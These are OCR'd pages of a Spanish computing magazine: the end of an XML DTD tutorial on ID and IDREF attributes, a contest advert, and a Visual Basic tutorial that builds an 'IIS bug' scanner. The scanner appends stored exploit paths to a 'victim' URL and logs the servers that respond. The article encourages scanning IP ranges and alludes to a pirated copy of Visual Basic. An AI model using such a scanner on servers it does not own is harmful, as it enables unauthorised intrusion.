<!ATTLIST ORDEN_COMPRA almacen NMTOKEN “L’Hospitalet del Llobregat”>


  PC PASO A PASO Nº 12                                                                                                             Página 41
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




Para restringir un atributo de manera que su contenido sea                                     ·       Debe ser declarado #IMPLIED o #REQUIRED
un NMTOKEN válido declararemos el atributo como tipo                                           ·       No puede declararse #FIXED
NMTOKEN, y su uso , que puede ser #IMPLIED , #REQUIRED,                                        ·       No puede tener valores por defecto
#FIXED, o podemos no especificar uso.
                                                                                               Ejemplos de ID correctos:
A diferencia de un CDTA, en un NMTOKEN cuando un valor
sea #REQUIRED o #IMPLIED no podemos asignar un valor                                           <!ATTLIST ORDEN_COMPRA id ID #REQUIRED>
                                                                                               <!ATTLIST ORDEN_COMPRA id ID #IMPLIED>
por defecto.

                                                                                               REFERENCIAR ATRIBUTOS CON VALORES ÚNICOS
Asignaciones correctas:

<!ATTLIST ORDEN_COMPRA               almacen NMTOKEN ‘Huesca’>                                 Un atributo ID, se puede referenciar utilizando tipos de
<!ATTLIST ORDEN_COMPRA               almacen NMTOKEN #IMPLIED>                                 atributos IDREF o IDREFS. Estas referencias se utilizan para
<!ATTLIST ORDEN_COMPRA               almacen NMTOKEN #FIXED ‘Huesca’>                          asegurarnos que un atributo utiliza un valor de tipo ID, que
<!ATTLIST ORDEN_COMPRA               almacen NMTOKEN #REQUIRED >                               existe en el documento.

DEFINIR ATRIBUTOS DE TIPO ENUMERADO                                                            REFERENCIAR ATRIBUTOS CON VALORES ÚNICOS
                                                                                               UTILIZANDO IDREF
Este tipo de atributos nos permite definir un conjunto de
valores de los cuales podamos seleccionar uno, separados                                       Se puede utilizar este tipo de atributos(IDREF) para obligar
cada uno de los valores por una pipe ( | ). Su uso , puede                                     a que estos atributos cojan uno de los valores que en
ser #IMPLIED o #REQUIRED o podemos no especificar                                              alguna parte del documento tiene un atributo tipo ID
uso.                                                                                           Lo vemos con un ejemplo.
                                                                                               Pensemos en un caso de un documento que tiene las órdenes
No podemos definir un uso #REQUIRED.                                                           de compra diarias ( es decir que cada día cambia) de un
Si definimos un uso #IMPLIED o #REQUIRED, no podemos                                           solo almacén de una multinacional, y que estas órdenes de
poner valor por defecto.                                                                       compra deben procesarse e integrarse en la base de datos
                                                                                               central de la multinacional.
Asignaciones correctas:                                                                        El documento tiene cuatro secciones:

<!ATTLIST ORDEN_COMPRA NOMBREATRIBUTO tipo_orden (via_web | telefono | catalogo ) “via_web”>
<!ATTLIST ORDEN_COMPRA NOMBREATRIBUTO tipo_orden (via_web | telefono | catalogo ) #IMPLIED>    1.      Una sección contiene todas las órdenes de compra
<!ATTLIST ORDEN_COMPRA NOMBREATRIBUTO tipo_orden (via_web | telefono | catalogo ) #REQUIRED>   del DIA del almacén

                                                                                               2.      Una sección contiene los artículos vendidos que
DEFINIR ATRIBUTOS CON VALORES ÚNICOS                                                           tienen stock en ese almacén

Los atributos de tipo ID, te permiten especificar atributos                                    3.      Una sección contiene los artículos vendidos que
cuyo valor deba ser único dentro de un archivo xml.                                            tienen un pedido pendiente de servir
Reglas para los atributos de tipo ID:
                                                                                               4.      Una sección contiene los artículos vendidos que van
·           Deben poder aplicárseles las reglas para nombres                                   a dejar de venderse ( a partir de hoy no vendemos mas
            xml válidos. Por ejemplo, no pueden comenzar por                                   chupa-chups)
            un número.
·                                                                                              Es decir que la orden de compra del dia (1) puede ser
            Cada elemento solo puede tener un atributo de tipo                                 referenciada por otras tres secciones: la de artículos con
            ID                                                                                 stock ( 2), la de artículos con pedido pendiente (3) y la de


    Página 42                                                                                                                     PC PASO A PASO Nº 12
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




artículos que en breve van a pasar a ser considerados                    Tanto num_referencia como ordComp, atributos del elemento
obsoletos(4).                                                            ARTICULO_INVENTARIO, tienen que referenciar algún
                                                                         atributo tipo ID en alguna parte del documento. No obstante,
Los artículos en stock, pedido pendiente y obsoletos (2-3-               esta declaración no asegura que ordComp referencie Ordenes
4) pueden tener artículos de diferentes órdenes de compra                de compra (num) , ni num_referencia id de artículos (id).
y necesitaremos una manera para referenciar órdenes de                   Pueden escribirse de manera errónea. Lo único que asegura
compra y asegurar que solo se van a procesar los                         es que los identificadores únicos que referencian están en
artículos que estén en las actuales órdenes de                           el documento.
compra.
                                                                         REFERENCIAR ATRIBUTOS CON VALORES ÚNICOS
Para hacer esto necesitaremos un atributo de tipo ID para                UTILIZANDO IDREFS
cada una de las órdenes de compra, y un ID para los artículos            Un atributo de tipo IDREFS, permite a ese atributo referenciar
de ESA orden de compra                                                   a la vez a varios identificadores únicos (ID)

El documento xml tendría una estructura similar a la que                 Si añadimos una sección al documento anterior que nos
sigue:                                                                   permita señalar las órdenes con artículos obsoletos o con
<LISTA_MAESTRA almacen=”Huesca”>
                                                                         artículos pendientes de servir, el xml quedaría:
   <ORDENES>
        <ORDEN_DE_COMPRA num=”D1”>
                                                                         <LISTA_MAESTRA almacen=”Huesca”>
             <ARTICULO id=”D890”>Unidad de Cd-Rom</ARTICULO>
             <ARTICULO id=”D891”>Disketera de 3 1/2</ARTICULO>             <ORDENES>
             <ARTICULO id=”D892”>Unidad de DVD-Rom</ARTICULO>                 <ORDEN_DE_COMPRA num=”D1”>
        </ORDEN_DE_COMPRA>                                                        <ARTICULO id=”D890”>Unidad de Cd-Rom</ARTICULO>
        <ORDEN_DE_COMPRA num=”D2”>
                                                                                  <ARTICULO id=”D891”>Disketera de 3 1/2</ARTICULO>
            <ARTICULO id=”D893”> Unidad de DVD-Rom </ARTICULO>
            <ARTICULO id=”D894”> Unidad de Cd-Rom </ARTICULO>                     <ARTICULO id=”D892”>Unidad de DVD-Rom</ARTICULO>
        </ORDEN_DE_COMPRA>                                                    </ORDEN_DE_COMPRA>
   </ORDENES>
                                                                              <ORDEN_DE_COMPRA num=”D2”>
   <EN_STOCK>
            <ARTICULO_INVENTARIO num_referencia=”D892” ordComp=”D1” />            <ARTICULO id=”D893”> Unidad de DVD-Rom </ARTICULO>
            <ARTICULO_INVENTARIO num_referencia=”D893” ordComp=”D2” />            <ARTICULO id=”D894”> Unidad de Cd-Rom </ARTICULO>
   </EN_STOCK>                                                               </ORDEN_DE_COMPRA>
   <PENDIENTE_SERVIR >
                                                                           </ORDENES>
            <ARTICULO_INVENTARIO num_referencia=”D890” ordComp=”D1” />
            <ARTICULO_INVENTARIO num_referencia=”D894” ordComp=”D2” />     <EN_STOCK>
   </ PENDIENTE_SERVIR >                                                          <ARTICULO_INVENTARIO num_referencia=”D892” ordComp=”D1” />
   <OBSOLETO >
                                                                                  <ARTICULO_INVENTARIO num_referencia=”D893” ordComp=”D2” />
            <ARTICULO_INVENTARIO num_referencia=”D891” ordComp=”D1” />
   </OBSOLETO>                                                             </EN_STOCK>
</LISTA_MAESTRA>                                                           <PENDIENTE_SERVIR >
                                                                                  <ARTICULO_INVENTARIO num_referencia=”D890” ordComp=”D1” />
                                                                                  <ARTICULO_INVENTARIO num_referencia=”D894” ordComp=”D2” />
En el ejemplo, los atributos id y num deben declararse como
                                                                           </ PENDIENTE_SERVIR >
atributos ID y los atributos num_referencia y ordComp, como                <OBSOLETO >
referencian a los atributos id y num que son de tipo ID,                          <ARTICULO_INVENTARIO num_referencia=”D891” ordComp=”D1” />
deben declararse de tipo IDREF                                              </OBSOLETO>
                                                                            <ORDENES_SEÑALADAS>
                                                                                  <ORDENES_ALMACEN ordenes_referenciadas=”D1 D2”/>
La declaración en el DTD sería la siguiente:
                                                                            </ORDENES_SEÑALADAS>
                                                                         </LISTA_MAESTRA>
<!ATTLIST ORDEN_DE_COMPRA num ID #REQUIRED>
<!ATTLIST ARTICULO id ID #REQUIRED>                                      y la declaración DTD:

<!ATTLIST ARTICULO_INVENTARIO num_referencia IDREF #REQUIRED>            <!ATTLIST ORDENES_ALMACEN ordenes_referenciadas IDREFS #REQUIRED>
<!ATTLIST ARTICULO_INVENTARIO ordComp IDREF #REQUIRED>




 PC PASO A PASO Nº 12                                                                                                            Página 43
VALIDACION DE DOCUMENTOS XML - DTD (II) - VALIDACION DE DOCUMENTOS XML - DTD (II)




            Si habéis llegado hasta aquí tenéis una base
            mas que suficiente para empezar a manipular
            los archivos xml con el DOM. Y es lo que vamos                PERSONALIZATUMOVIL TUMOVIL
                                                                                                 MOVIL
                                                                            PERSONALIZATUMOVILMOVIL
                                                                           PERSONALIZATUTUMOVIL
                                                                          PERSONALIZATUMOVIL
                                                                            PERSONALIZATUMOVILMOVIL
                                                                          PERSONALIZATUMOVILTUMOVIL
                                                                             PERSONALIZATU MOVILMOVIL
                                                                            PERSONALIZATUMOVILMOVIL
                                                                                            TUMOVIL
                                                                           PERSONALIZATUMOVIL
                                                                             PERSONALIZATUMOVILMOVIL
                                                                              PERSONALIZATU TUMOVIL
                                                                           PERSONALIZATUMOVIL  MOVIL
                                                                                               MOVIL
                                                                             PERSONALIZATUTUMOVIL
                                                                                              MOVIL
                                                                                              MOVIL
                                                                                             MOVIL
                                                                                             MOVIL
                                                                                             MOVIL
                                                                                            MOVIL
                                                                              PERSONALIZA MOVIL
            a hacer a partir del próximo numero. En caso                      PERSONALIZA
                                                                               PERSONALIZA
                                                                                     PERSONALIZATU MOVIL
                                                                                                     MOVIL
                                                                                                 TU MOVIL
                                                                                                    MOVIL
                                                                                     PERSONALIZA TU MOVIL
                                                                                     PERSONALIZA TU MOVIL
            de que necesitáramos un poco más de teoría
            para los DTD , lo haríamos como referencia
            rápida , no como centro del artículo.
            Ya que mi ilustre colega Pedro del Valle está
            impartiendo un hermoso curso de Visual Basic,
            la manipulación de los xml la haremos también
             con Visual Basic, pero debéis recordar que
            podéis acceder a los elementos de un
            documento xml también con Java (como hemos
            visto en el artículo de hoy) , con C y con otros
            lenguajes.

            ¡Saludos compañeros!


                  EL GANADOR DEL
                SORTEO DE UN SUSE
              LINUX 8.2 DEL MES DE
                  jukio - agosto                      ES:
            Antonio jose saez torres
                              alicante
            SEGUIR LLAMANDO, EL PROXIMO                                                 HAY MUCHOS MAS EN
             PODRIA SER PARA TI (PAG 44)
                                                                                     http://pclog.buscalogos.com/


                   SI TE GUSTA LA INFORMÁTICA.
            SI ESTAS “CABREADO” CON GÜINDOUS ;)
              SI QUIERES PROGRESAR DE VERDAD
                                                                                              Incluye 7 CD’s y 1 DVD
                       PC PASO A PASO                                                         Manual de Instalación.
               SOR TEA CADA MES UN S.O.                                                       Manual de Administracion

            SUSE LINUX PR OFESSION AL 8.2
            SIMPLEMENTE ENVIA LA PALABRA
                   PCCON AL 5099
                            DESDE TU MOVIL
        PRECIO DEL MENSAJE: 0,90€ + IVA. VALIDO PARA (MOVISTAR - VODAFONE Y AMENA)
                                    IVA. VALIDO PARA (MOVISTAR


                     EL PREMIO PUEDE SER CANJEABLE POR UN JUEGO
                         DE PC O CONSOLA QUE NO SUPERELOS 85€
        EL GANADOR SALDRA PUBLICADO AQUÍ 2 NÚMEROS DESPUES DE LA PUBLICACIÓN.




Página 44                                                                                              PC PASO A PASO Nº 12
IIS bug exploit
            nuestro primer scanner
                                   Por Pedro del Valle
                                        www.ChamaneX.com



Poco a poco y casi sin darnos cuenta vamos “pillándole” el gusto a eso de “programar”. Hemos recibido muchos
mails de personas que NUNCA se habían acercado al Visual Basic y ahora ya superan el nivel de la revista... ¿existe
mejor recompensa? ¿Recuerdas cuando te “empujamos” a bajarte una “copia” del Visual Basic del eMule y Instalarla?


            Ya estamos aquí de nuevo después de unas         de texto donde poner la URL de la “víctima”, y
            larguisimas “vacaciones”. Pues empecemos “las    un botón para lanzar el “scanner”. Por ejemplo,
            clases” :p                                       podríamos poner un TextBox, un ListBox y un
                                                             par de botones para “scannear” y salir de la
            Si hacemos memoria, en el último número          aplicación.
            empezamos un proyecto donde intentábamos
            crear un scanner que buscara bugs en             Este sería el aspecto del proyecto:
            servidores web IIS. Para ser más exactos,
            hicimos un Web Browser (explorador de
            Internet).

            El diseño final de este venía a ser algo así.




                                                             En la caja de texto “Target”, podremos introducir
                                                             tanto una URL como una dirección IP. Creo que
                                                             sería atractivo también guardar informes sobre
                                                             los “bugs” encontrados en los diferentes
                                                             “scanneos” de servidores. Por ejemplo, y para
            Este diseño ha quedado obsoleto, ya que para     seguir practicando con algo tan importante en
            nuestra nueva finalidad, necesitaremos un        la programación como es el acceso a datos,
            entorno más funcional y ergonómico.              usaremos una base de datos de Access.
            Empecemos pues un nuevo proyecto en Visual       Añadamos pues la referencia necesaria para el
            Basic. Yo os voy a dar una base, un diseño       acceso a datos, que en este caso es el “Microsoft
            que yo encuentro apropiado para este software,   Active Data Object 2.7 Library”.
            pero cada uno puede cambiar el aspecto a su
            antojo. Lo que si tenemos que tener en cuenta    La versión (2.7) puede ser otra anterior, no hay
            es que necesitaremos, como mínimo, una caja      problema.

 PC PASO A PASO Nº 12                                                                                            Página 45
VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II)




                                                                                  Ahora creemos una base
                                                                                  de datos y una tabla.
                                                                                  Llamaremos a la base de
                                                                                  datos “bugs.mdb”, por
                                                                                  ejemplo, y la guardaremos
                                                                                  en el mismo directorio
                                                                                  donde se encuentra el
                                                                                  proyecto.
                                                                                  La tabla principal la
                                                                                  podríamos llamar
                                                                                  “informes”, y estará
                                                                                  compuesta por un campo
                                                                                  llamado “URL”, y otro que
                                                                                  contendrá el script
                                                                                  (llamémosle “script”).
                                                                                  Estos campos serán de
                                                                                  tipo String 255 y memo
                                                                                  respectivamente.



            También vamos a agregar un menú al formulario
            principal, para recuperar estos informes.
            Posicionémonos sobre el formulario y, en el
            menú herramientas, piquemos en “Editor de
            menús”. El funcionamiento de este es muy
            sencillo. En la propiedad “Caption” introducimos
            el literal que se verá en el menú, y en la
            propiedad “Name”, el nombre identificativo del
            mismo. El primero debería ser el que abre los
            demás, es decir, el principal.

            Un buen nombre sería “Archivo”. Justo después
            de este, introducimos los demás, pero con la
            peculiaridad de que a los siguientes debemos
            desplazarlos con la flecha hacia la derecha,
            queriendo así indicarles que serán submenús
            del primero. En la imagen vemos como quedará
            el editor de menús:

                                                               Y aun mejor, haremos que nuestro scanner sea
                                                               actualizable añadiendo otra tabla llamada IIS
                                                               con un único campo clave denominado “script”.
                                                               Perfecto, con esto tenemos lista la base de
                                                               datos. Ahora vamos a aplicar lo aprendido en
                                                               el número anterior en este ejercicio. Agregamos
                                                               otro formulario a nuestro proyecto actual,
                                                               llamándolo, por ejemplo, WB (de Web Browser).
                                                               En el formulario solo agregaremos un objeto
                                                               web Browser, como ya hicimos en la entrega
                                                               anterior.




Página 46                                                                                         PC PASO A PASO Nº 12
VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II)




                                                                             Esto no son más que “scripts” que he
     !              Para agregar...                                          encontrado en el Google, pero hay decenas de
                                                                             ellos. Una vez cargada la tabla, volvemos al
                                                                             código y añadimos un nuevo formulario para
    Para agregar otro formulario a un proyecto, vamos al                     dar de alta “scripts”. Este formulario solo tendrá
    explorador de proyectos y, picando con el botón derecho                  una caja de texto, un ListBox (opcional, es para
    sobre él, elegimos “Agregar”, “nuevo formulario”.                        visualizar los existentes) y dos botones, “Alta”
                                                                             y “Salir”.



El funcionamiento será sencillo. El formulario principal realizará
llamadas al secundario (WB) para comprobar los diferentes
“scripts” de la tabla IIS.

Muy bien, empecemos entonces con el código.
Declararemos primero las variables necesarias para la gestión
de informes. Estas serán un objeto ADODB.Connection y otro
ADODB.Recordset. Para reutilizarlas, las variables las podríamos
declarar en un módulo independiente, agregándolo con el
botón derecho en el explorador de proyectos, menú Agregar,
Módulo                                                                       Para acceder a este nuevo formulario,
                                                                             añadiremos un nuevo submenú llamado Scripts,
Option Explicit                                                              codificándolo de la siguiente manera
Global Conn As ADODB.Connection
Global Rs As ADODB.Recordset                                                 Private Sub Scripts_Click()
                                                                               FrmScripts.Show
En el evento Form_Load() instanciamos y abrimos estos                        End Sub
objetos, como ya hemos hecho en otras ocasiones.
                                                                             Ahora vamos al evento Form_Load de
Private Sub Form_Load()                                                      FrmScripts.
  Set Conn = New ADODB.Connection
  Set Rs = New ADODB.Recordset                                               Declaremos antes una variable de tipo
  Conn.ConnectionString = "DSN=bugs;DBQ=" & App.Path & "/bugs.mdb;DriverId   “Recordset” para poder grabar los nuevos
        =25;FIL=MSAccess;MaxBufferSize=2048;PageTimeout=5;UID=admin;"        “scripts” que introduzcamos, por ejemplo,
        rs.Open "informes", Conn.ConnectionString, adOpenDynamic,            “RsGrabar”, y otra que recorra la tabla, llamada
        adLockOptimistic
                                                                             “RsLeer”
End Sub
                                                                             Option Explicit
Con esto realizamos la conexión a la base de datos. Ahora,
                                                                             Dim RsGrabar As ADODB.Recordset
antes de seguir con el código, deberíamos rellenar, de forma
                                                                             Dim RsLeer As ADODB.Recordset
manual, la tabla IIS con algunos “scripts” para probar contra
servidores. Por ejemplo, yo añadiré estos
                                                                                          En el evento, instanciamos los
                                                                                          objetos y abrimos la conexión tanto
                                                                                          de “RsLeer” como de “RsGrabar”.
                                                                                           Posteriormente, llamaremos a una
                                                                                          rutina que podemos denominar
                                                                                          “Leer”, la cual se va a encargar de
                                                                                          recorrer la tabla “IIS” por completo.
                                                                                          Para acabar, tendremos que
                                                                                          codificar el botón “grabar”, que se
                                                                                          encargará de dar de alta, teniendo
                                                                                          en cuenta que hemos declarado el

  PC PASO A PASO Nº 12                                                                                                            Página 47
VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II)



campo como clave, y que por lo tanto, no podemos repetir                                      Private Sub Form_Unload(Cancel As Integer)
valores. Para este botón, estos serían los pasos a seguir:                                      RsLeer.Close
                                                                                                RsGrabar.Close
1- Comprobar que la caja de texto no está en blanco                                           End Sub
2- Comprobar que el “script” que intentamos añadir no ha
sido introducido anteriormente                                                                Expliquemos brevemente este código.
                                                                                              Primero, el Form_Load().
3- Efectuar las operaciones necesarias para dar de alta el
“script”.
                                                                                              En este instanciamos los objetos Recordset
Sencillo, ¿no?, pues he aquí el código de este formulario:                                    declarados anteriormente, y los abrimos, cada
                                                                                              uno de ellos contra la tabla correspondiente.
Option Explicit
Dim RsGrabar As ADODB.Recordset                                                             Set RsGrabar = New ADODB.Recordset
Dim RsLeer As ADODB.Recordset                                                               Set RsLeer = New ADODB.Recordset
                                                                                           RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockReadOnly
Private Sub CmdAnadir_Click()                                                              RsGrabar.Open "IIS", Conn.ConnectionString, adOpenDynamic, adLockOptimistic
  If Not TxtScript.Text = "" Then
            RsGrabar.Find "script='" & TxtScript.Text & "'"
    If RsGrabar.EOF Then                                                                      Posteriormente, llamamos a la rutina Leer, que
       RsGrabar.AddNew                                                                        será la encargada de recorrer la tabla y añadir
       RsGrabar("script") = TxtScript.Text                                                    los “scripts” encontrados al “ListBox”.
       RsGrabar.Update
       MsgBox "Script añadido!", vbInformation, "Aviso"                                       Comprobamos que la caja de texto no esté
      Set RsLeer = RsGrabar                                                                   vacía (If Not TxtScript.Text = "" Then). Si no
      Leer                                                                                    es así, mostramos un mensaje con un literal
    Else                                                                                      que nos avise de este error. En el caso de que
       MsgBox "El script ya fue introducido en la base de datos", vbExclamation, "Aviso"      se cumpla la sentencia (es decir, que el TextBox
    End If                                                                                    no es blanco), hacemos una búsqueda en la
  Else                                                                                        tabla para comprobar que no existe el “script”
     MsgBox "El campo Script no puede ser blanco", vbExclamation, "Aviso"                     que estamos intentando añadir (RsGrabar.Find
  End If                                                                                      "script='" & TxtScript.Text & "'").
End Sub

Private Sub CmdSalir_Click()
  Unload Me                                                                                       !              La propiedad...
End Sub

Private Sub Form_Load()                                                                           La propiedad “find” del Recordset sirve para
  Set RsGrabar = New ADODB.Recordset                                                              buscar un registro dentro de un Recordset ya
  Set RsLeer = New ADODB.Recordset                                                                abierto, indicándole el nombre del campo más
  RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockReadOnly
                                                                                                  un símbolo “=” y una cadena con lo que estamos
 RsGrabar.Open "IIS", Conn.ConnectionString, adOpenDynamic, adLockOptimistic
                                                                                                  buscando. En el caso de que no se encuentre
  Leer                                                                                            ninguno, la propiedad “EOF” pasará a ser
End Sub                                                                                           verdadero.

Sub Leer()
  Lista.Clear
  RsLeer.MoveFirst                                                                            Una vez efectuada la búsqueda, comprobamos
  While Not RsLeer.EOF                                                                        el valor de la propiedad “EOF” ( If RsGrabar.EOF
    Lista.AddItem RsLeer("script")                                                            Then). Si este es falso, mostraremos un mensaje
    RsLeer.MoveNext                                                                           conforme se ha encontrado un “script” igual al
  Wend                                                                                        que se está intentando introducir, y si no, lo
End Sub                                                                                       damos de alta en la tabla IIS e igualamos el



 Página 48                                                                                                                               PC PASO A PASO Nº 12
VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II)




          Recordset de lectura al Recordset de grabado,                              Inmediatamente después, abrimos el formulario
          llamando finalmente a la rutina Leer para                                  WB, y lanzamos un bucle que recorra la tabla
          recargar el ListBox.                                                       IIS.

                 RsGrabar.AddNew                                                      WB.Show
                 RsGrabar("script") = TxtScript.Text                                  While Not RsLeer.EOF
                 RsGrabar.Update
                 MsgBox "Script añadido!", vbInformation, "Aviso"
                 Set RsLeer = RsGrabar                                               Ahora viene la parte más interesante. Por cada
                 Leer                                                                uno de los registros de la tabla IIS encontrados,
                                                                                     llamaremos al método Navigate del objeto
          Ah!, y que no se nos olvide cerrar los objetos                             WebBrowser, enviándole la URL más el “script”
          Recordset cuando cerremos el formulario, si                                que acabamos de leer en la tabla.
          no lo hacemos, dejamos conexiones abiertas
          de manera inútil. Lo hacemos así:                                           WB.web.Navigate TxtURL & RsLeer("script")

                 Private Sub Form_Unload(Cancel As Integer)                          Con esto, estamos intentando acceder a la web
                       RsLeer.Close                                                  mediante algún bug del IIS. Para darle tiempo
                       RsGrabar.Close                                                a la carga de la web, crearemos un bucle
                  End Sub                                                            mientras el valor de la variable “Completado”
                                                                                     sea falso. Siempre que hagamos un bucle, el
          Damos por bueno este formulario y vamos al                                 cual no vamos a saber cuanto tiempo va a
          principal. Codifiquemos el botón “Scann”, que,                             tardar en finalizar, es aconsejable añadir la
          a priori, es el más interesante. Vamos a                                   sentencia “DoEvents” para que el programa no
          declararnos otro Recordset, como en el caso                                se “coma” todos los recursos de la máquina.
          anterior, para leer la tabla con los “scripts”. Por
          ejemplo, RsLeer.                                                             While Not RsLeer.EOF
                                                                                         WB.web.Navigate TxtURL & RsLeer("script")
                                                                                         While Not Completado
     !             Cabe decir...                                                           DoEvents
                                                                                         Wend
                                                                                         Completado = False
    Cabe decir que la manera en que declaramos                                           FrmPrincipal.Lista.AddItem RsLeer("script")
    las variables es totalmente libre. Yo, lo que                                        RsLeer.MoveNext
    hago, es declarar algunas globales y otras                                         Wend
    locales al formulario, para que veáis las                                          RsLeer.Close
    diferentes maneras que existe. Por ejemplo,
    en este caso, podríamos haber declarado el                                       Para que la variable “Completado” valga
    Recordset RsLeer global, y así reutilizarlo en                                   verdadero, debemos cambiar su valor a cuando
    los dos formularios.                                                             la web acabe de cargar. Para hacer esto, abrimos
                                                                                     el formulario WB (el que contiene el
                                                                                     WebBrowser) y, en el evento NavigateComplete2
          También nos vamos a declarar una variable de                               del WebBrowser, cambiamos el valor de la
          ámbito global que nos indicará si se ha                                    variable Completado a verdadero.
          completado la carga de la página una vez                                   También podemos declararnos un vector de
          hemos lanzado el “script” contra ella. Yo llamaré                          tipo cadena para guardar los resultados
          a esta variable “Completado”, y será de tipo                               obtenidos después de lanzar los “scripts”. Algo
          Booleana. En el botón “scann” primero vamos                                así:
          a instanciar el objeto Recordset y a abrirlo.
                                                                                     En el módulo.bas declaramos la variable.

          Set RsLeer = New ADODB.Recordset                                           Global Scripts() As String
          RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockOptimistic


PC PASO A PASO Nº 12                                                                                                                     Página 49
VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II)




            Y en el evento NavigateComplete2 el resto del
            código                                                           !                La cláusula...
            Option Explicit
            Dim nCont As Integer                                            La cláusula On Error Resume Next provoca que, en caso
                                                                            de error, el programa continúe con la siguiente línea de
            Private Sub web_NavigateComplete2(ByVal pDisp                   código.
            As Object, URL As Variant)
              ReDim Preserve Scripts(nCont)
              Scripts(nCont) = web.Document.documentelement.innerhtml
              Completado = True                                         Con esto podremos visualizar todos los
              nCont = nCont + 1                                         resultados obtenidos por el “scanner”. Supongo
                                                                        que ya os habréis dado cuenta de que con esto,
            End Sub                                                     hemos acabado el IIS Bug Scanner, ya que en
                                                                        caso de encontrar un servidor con alguno de
            Un detalle que se me ha olvidado (es muy                    los agujeros de seguridad introducidos en la
            frecuente). Antes de cargar la lista del menú               tabla “IIS”, veremos el resultado en nuestro
            principal, deberíamos limpiarla, en el evento               formulario WB. La gracia del programa es
            CmdComenzar_Click.                                          automatizar la búsqueda de bugs, hacerlo
                                                                        actualizable y dar la posibilidad de guardar
            Con esto estamos guardando todos los                        informes. Y es esto último lo único que nos
            resultados en nuestra variable de tipo cadena.              faltaría por hacer, guardar el “script” completo
            El uso de esta variable nos lo dejaremos en el              y la página de aquellos que surjan efecto.
            tintero. Ahora debemos ver los resultados de                El código para guardar los informes es sencillo:
            nuestro “scanneo”. La forma que yo he preferido
            es la de poner 4 botones en el formulario WB,               Set RsGrabar = New ADODB.Recordset
            dos para desplazarse hacia delante o hacia                  RsGrabar.Open "informes", Conn.ConnectionString, adOpenDynamic, adLockOptimistic
            atrás, otro para salir y finalmente, uno para               RsGrabar.AddNew
            guardar el informe.                                         RsGrabar("URL") = FrmPrincipal.TxtURL
                                                                        RsGrabar("script") = web.Document.URL
                                                                        RsGrabar.Update
                                                                        RsGrabar.Close
                                                                        MsgBox "Informe guardado"

                                                                        Pasamos a comentarlo. Primero, instanciamos
                                                                        el objeto y lo abrimos con permisos de escritura.
                                                                        Justamente después, indicamos al Recordset
                                                                        que vamos a dar de alta un registro con
                                                                        .AddNew, y le pasamos los valores a los campos.
                                                                        Podemos apreciar que en el campo “script” le
                                                                        estamos introduciendo el web.Document.URL,
            El código de los dos botones es bastante                    que viene a ser la dirección que aparecería en
            sencillo:                                                   la barra del explorador, es decir, el “exploit”
                                                                        completo, con dirección web incluida.
            Private Sub CmdAnterior_Click()
              On Error Resume Next                                      Y para acabar, solo nos queda recuperar
              web.GoBack                                                informes. Vamos pues al menú principal, siendo
            End Sub                                                     más precisos, al submenú “Abrir”. Agregamos
                                                                        un nuevo formulario para visualizar nuestros
            Private Sub CmdSiguiente_Click()                            informes, llamémosle FrmInformes. Desde el
              On Error Resume Next                                      menú “Abrir” llamaremos a este nuevo
              web.GoForward                                             formulario, que cargará todos los “scripts”
            End Sub                                                     guardados en un ListBox.


Página 50                                                                                                                PC PASO A PASO Nº 12
VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II) - VB - IIS BUG exploit (II)




                                                                                  software funcional, bien debugado, con el código bien
                                                                                  estructurado... Lo que aquí os he ofrecido, es el primer paso
                                                                                  para que vosotros, descontentos con este programa, lo
                                                                                  mejoréis, arregléis los errores que seguro tiene, e incluso,
                                                                                  que cambies funcionalidades básicas. Creo que he dejado
                                                                                  el proyecto lo suficientemente abierto como para que arregléis
                                                                                  y practiquéis con él, y también creo que os he abierto los
                                                                                  ojos lo suficiente como para ver que podéis hacer un “scanner”
                                                                                  muy chulo con pocas líneas de código y el objeto WebBrowser,
                                                                                  ya que cabe recordar, este objeto no es más que un explorador
                                                                                  de Internet, y todos sabemos que los servidores IIS son
                                                                                  fácilmente flanqueables utilizando únicamente el IExplorer.

                                                                                  Sin más, me despido, y os prometo estar por los foros de
                                                                                  hackxcrack.com para aquellos que se lancen a mejorar el
                                                                                  programa por su cuenta.

                                                                                  PD: ¿Alguien se atreve a hacer que el scanner sea por rangos
                                                                                  de IP? y si encima, detecta automáticamente que páginas
Seguramente el método que yo he utilizado para cargar los                         son vulnerables y las guarda, sería estupendo (recordad que
“scripts” no es el más útil, pero es totalmente válido. Lo que                    tenemos una variable donde guardamos el código HTML,
hago es un bucle que recorra toda la tabla “informes”,                            pude sernos útil)
agregando primero el valor del campo “URL” e inmediatamente
después el valor del campo “script”. Con esto, tendremos
primero la página y luego el resultado que nos ofreció el                         Código:
exploit lanzado y que guardamos en la tabla.
                                                                                  FrmPrincipal
Finalmente, codifico el evento click de tal forma que se
cargue la página con el texto del “ítem” seleccionado. Este                       Option Explicit
sería el código.                                                                  Dim RsLeer As ADODB.Recordset

Option Explicit
Dim RsLeer As ADODB.Recordset                                                     Private Sub Abrir_Click()
                                                                                    FrmInformes.Show
Private Sub Form_Load()                                                           End Sub
  Lista.Clear
  Set RsLeer = New ADODB.Recordset                                                Private Sub CmdComenzar_Click()
  RsLeer.Open "informes", Conn.ConnectionString, adOpenStatic, adLockOptimistic     Set RsLeer = New ADODB.Recordset
  While Not RsLeer.EOF                                                              RsLeer.Open "IIS", Conn.ConnectionString, adOpenStatic, adLockOptimistic
    Lista.AddItem RsLeer("URL")                                                     WB.Show
    Lista.AddItem RsLeer("script")                                                  Lista.Clear
    RsLeer.MoveNext                                                                 While Not RsLeer.EOF
  Wend                                                                                WB.web.Navigate TxtURL & RsLeer("script")
End Sub                                                                               While Not Completado
                                                                                         DoEvents
Private Sub Lista_Click()                                                             Wend
  web.Navigate Lista.List(Lista.ListIndex)                                            Completado = False
End Sub                                                                               Lista.AddItem RsLeer("script")
                                                                                      RsLeer.MoveNext
